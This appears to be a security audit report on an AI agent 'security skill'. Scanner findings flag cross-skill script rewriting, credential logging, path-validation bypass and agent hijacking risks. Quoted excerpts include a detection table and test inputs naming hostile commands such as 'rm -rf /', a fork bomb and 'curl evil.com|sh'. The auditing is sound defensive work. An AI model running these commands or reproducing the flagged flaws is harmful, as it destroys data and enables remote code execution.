Security audit

Security

Security checks for vulnerabilities and agentic risk

Overview

This security skill mostly matches its stated purpose, but it includes an under-disclosed helper that can rewrite other installed skills and persist broad audit logs, so it needs review before installation.

Review this skill carefully before installing. Do not run scripts/integrate_audit.py unless you intentionally want it to modify other installed skills, have backups, and have reviewed the exact targets. Restrict audit log permissions, avoid logging raw secrets or private documents, set an audit secret if using signatures, and prefer explicit per-skill scanning or integration over all-skill operations.

A.I.G

Vulnerability Patterns

Tool Hijacking and SpoofingModifies or replaces tools so legitimate-looking calls execute attacker logic
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review

Findings (5)

T07 · Tool Hijacking and Spoofing

Error

Location: scripts/integrate_audit.py:250
Finding: Cross-Skill Source Rewriting Can Corrupt or Alter Executable Tools
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Error

Location: scripts/integrate_audit.py:47
Finding: Full Cross-Skill Payload Logging Can Store Unredacted Credentials
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: dependency_scanner.py:273
Finding: Predictable Dependency-Scanner Temporary File Enables Symlink Overwrite and Scan Races
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: input_validator.py:105
Finding: Allowed-Directory Validation Can Be Bypassed Through String Prefix Collisions
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Note

Location: input_validator.py:140
Finding: Empty Prompt Causes Division-by-Zero Denial of Service
Content: View full analysis
self.max_input_size: errors.append('Prompt too large') return ValidationResult(False, errors) # 检查危险命令 for pattern in self.DANGEROUS_COMMANDS: if re.search(pattern, prompt_lower): errors.append(f'Dangerous command detected: {pattern}') audit_logger.log_event( event_type='dangerous_prompt_blocked', details={'skill_id': skill_id, 'pattern': pattern, 'prompt_preview': prompt[:200]}, level='error' ) return ValidationResult(False, errors) # 检查过多的特殊字符（可能的 DoS） special_chars = sum(1 for c in prompt if ord(c) > 127 or c in '`$&|<>{}[]') if special_chars / len(prompt) > 0.3: # 超过 30% 的特殊字符 errors.append('Prompt contains excessive special characters (potential DoS)') return ValidationResult(False, errors) ``` ### Technical Analysis When `prompt` is an empty string, the dangerous-command checks do not match and `special_chars` becomes zero. The expression `special_chars / len(prompt)` then evaluates as `0 / 0`, raising `ZeroDivisionError`. The method does not convert this condition into a `ValidationResult`, and no local exception handler exists. Callers expecting validation to safely accept or reject all string inputs can therefore be interrupted by an ordinary empty value. ### Attack Path 1. An attacker or malformed client submits an empty prompt. 2. The prompt passes the maximum-size and dangerous-pattern checks. 3. The validator computes `len(prompt)` as zero. 4. Division by zero raises an exception. 5. If the caller does not catch the exception, the request fails and may terminate the surrounding task or worker. ### Impact Assessment The issue can cause request-level denial of service and noisy application errors. In a worker process that does not isolate ...[truncated 184 chars]
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection

Findings (59)

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · DEPLOYMENT.md (reported line 487)May include surrounding context.
python "$SKILLS_ROOT/security/input_validator.py" --skill scheduled-task --input -

危险输入（应失败）

echo '{"prompt": "rm -rf /"}' |
python "$SKILLS_ROOT/security/input_validator.py" --skill scheduled-task --input -

text

Tp4

High

Category: MCP Tool Poisoning
Confidence: 95% confidence
Finding: If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 95% confidence
Finding: If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 97% confidence
Finding: If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 97% confidence
Finding: If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
Content: No source excerpt is available for this finding.

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 90% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · DEPLOYMENT.md (reported line 487)May include surrounding context.
md
| 类别 | 模式示例 | 风险等级 | |------|----------|----------| | 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 | | 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 | | 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 | | 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 90% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · TECHNICAL_DOCUMENTATION.md (reported line 93)May include surrounding context.
md
| 类别 | 模式示例 | 风险等级 | |------|----------|----------| | 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 | | 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 | | 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 | | 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · TECHNICAL_DOCUMENTATION.md (reported line 93)May include surrounding context.
md
| 类别 | 模式示例 | 风险等级 | |------|----------|----------| | 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 | | 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 | | 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 | | 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · TECHNICAL_DOCUMENTATION.md (reported line 94)May include surrounding context.
md
| 类别 | 模式示例 | 风险等级 | |------|----------|----------| | 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 | | 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 | | 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 | | 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 | | 危险函数 | `eval(`, `exec(`, `os.system(` | 🟡 中危 |

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 80% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · TECHNICAL_DOCUMENTATION.md (reported line 95)May include surrounding context.
md
|------|----------|----------| | 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 | | 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 | | 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 | | 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 | | 危险函数 | `eval(`, `exec(`, `os.system(` | 🟡 中危 |

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · TECHNICAL_DOCUMENTATION.md (reported line 96)May include surrounding context.
md
| 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 | | 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 | | 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 | | 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 | | 危险函数 | `eval(`, `exec(`, `os.system(` | 🟡 中危 | **API:**

Credential Access

High

Category: Privilege Escalation
Confidence: 70% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · UPLOAD_GUIDE.md (reported line 26)May include surrounding context.
md
访问 https://github.com/join ### 3. 生成 Personal Access Token (PAT) 1. 登录 GitHub 2. 进入 **Settings** → **Developer settings** → **Personal access tokens** → **Tokens (classic)**

Credential Access

High

Category: Privilege Escalation
Confidence: 70% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · UPLOAD_GUIDE.md (reported line 29)May include surrounding context.
md
### 3. 生成 Personal Access Token (PAT) 1. 登录 GitHub 2. 进入 **Settings** → **Developer settings** → **Personal access tokens** → **Tokens (classic)** 3. 点击 **Generate new token** → **Generate new token (classic)** 4. 配置： - **Note:** LobsterAI Security SKILL Upload

Intent-Code Divergence

High

Category: Not specified by scanner
Confidence: 99% confidence
Finding: The inline comment at L079 says the default configuration is that all skills are public. In reality, when the config file is missing, no public skill list is populated, and has_permission() ultimately reaches the default-deny branch at L152-L160 for ordinary users. This is a direct contradiction between the comment and actual authorization behavior.
Content: No source excerpt is available for this finding.

Intent-Code Divergence

Medium

Category: Not specified by scanner
Confidence: 93% confidence
Finding: The document states that the Security Skill uses only the Python standard library and has no external dependencies, and further says the listed tools are not runtime dependencies. However, later sections document optional but real integrations using cryptography for log encryption and requests for remote SIEM delivery, which contradicts the blanket no-external-dependency claim in the same file.
Content: No source excerpt is available for this finding.

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · DEPLOYMENT.md (reported line 139)May include surrounding context.
Linux/macOS（可选）:

bash
# 设置严格权限 # chmod 755 security # chmod 644 security/*.py # chown -R root:root security # 需要 sudo（不推荐）

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · DEPLOYMENT.md (reported line 140)May include surrounding context.
bash
# 设置严格权限 # chmod 755 security # chmod 644 security/*.py # chown -R root:root security # 需要 sudo（不推荐）

注意: 严格权限可能需要管理员/root 权限，仅建议在生产环境且符合安全策略时启用。开发环境通常不需要。

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 88% confidence
Finding: The audit logging setup explicitly records execution data and example payloads, but does not prominently warn that logs may contain sensitive prompts, results, identifiers, or policy-relevant metadata. In a security skill, undocumented local retention of sensitive data can create confidentiality and compliance exposure, especially if operators enable logging broadly without minimization.
Content: No source excerpt is available for this finding.

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · DEPLOYMENT.md (reported line 180)May include surrounding context.
Linux/macOS（可选）:

bash
mkdir -p "$LOBSTERAI_HOME/logs/security" # chmod 700 限制仅所有者访问（生产环境建议） # chmod 700 "$LOBSTERAI_HOME/logs/security" # chown root:root "$LOBSTERAI_HOME/logs/security" # 需要 sudo，不推荐以 root 运行 LobsterAI

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · DEPLOYMENT.md (reported line 181)May include surrounding context.
Linux/macOS（可选）:

bash
mkdir -p "$LOBSTERAI_HOME/logs/security" # chmod 700 限制仅所有者访问（生产环境建议） # chmod 700 "$LOBSTERAI_HOME/logs/security" # chown root:root "$LOBSTERAI_HOME/logs/security" # 需要 sudo，不推荐以 root 运行 LobsterAI

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · DEPLOYMENT.md (reported line 217)May include surrounding context.
icacls "$LOBSTERAI_HOME/security/rbac_config.json" /inheritance:r

icacls "$LOBSTERAI_HOME/security/rbac_config.json" /grant "Administrators:R"

或使用 chmod 设置适当权限（Linux/macOS）

chmod 600 "$LOBSTERAI_HOME/security/rbac_config.json"

text
**注意**: 配置文件包含敏感权限策略，建议在生产环境中限制访问权限。开发环境可跳过此步骤。

External Transmission

Medium

Category: Data Exfiltration
Confidence: 60% confidence
Finding: Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
Content: Scanner excerpt · DEPLOYMENT.md (reported line 837)May include surrounding context.
md
import requests def send_to_siem(entry): try: requests.post('https://siem.company.com/audit', json=entry, timeout=5) except Exception as e: # 本地降级存储 pass

External Transmission

Medium

Category: Data Exfiltration
Confidence: 70% confidence
Finding: Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
Content: Scanner excerpt · DEPLOYMENT.md (reported line 837)May include surrounding context.
md
import requests def send_to_siem(entry): try: requests.post('https://siem.company.com/audit', json=entry, timeout=5) except Exception as e: # 本地降级存储 pass

Description-Behavior Mismatch

Medium

Category: Not specified by scanner
Confidence: 84% confidence
Finding: The README advertises runtime monitoring controls such as behavior tracking, resource limits, and anomaly detection, but the documented project structure and usage examples do not show components that implement those protections. This can create a false sense of security, leading operators to rely on safeguards that may not exist and to deploy the skill in higher-risk contexts without compensating controls.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.

Overview

A.I.G

T07 · Tool Hijacking and Spoofing

T09 · Insecure Skill Coding Practices

T09 · Insecure Skill Coding Practices

T09 · Insecure Skill Coding Practices

T09 · Insecure Skill Coding Practices

SkillSpector

Tool Parameter Abuse

危险输入（应失败）

Tp4

Tp4

Tp4

Tp4

Tp4

Tool Parameter Abuse

Tool Parameter Abuse

Tool Parameter Abuse

Credential Access

Tool Parameter Abuse

External Script Fetching

Credential Access

Credential Access

Intent-Code Divergence

Intent-Code Divergence

Sudo/Root Execution

Sudo/Root Execution

Missing User Warnings

Sudo/Root Execution

Sudo/Root Execution

Sudo/Root Execution

icacls "$LOBSTERAI_HOME/security/rbac_config.json" /inheritance:r

icacls "$LOBSTERAI_HOME/security/rbac_config.json" /grant "Administrators:R"

或使用 chmod 设置适当权限（Linux/macOS）

chmod 600 "$LOBSTERAI_HOME/security/rbac_config.json"

External Transmission

External Transmission

Description-Behavior Mismatch

Static analysis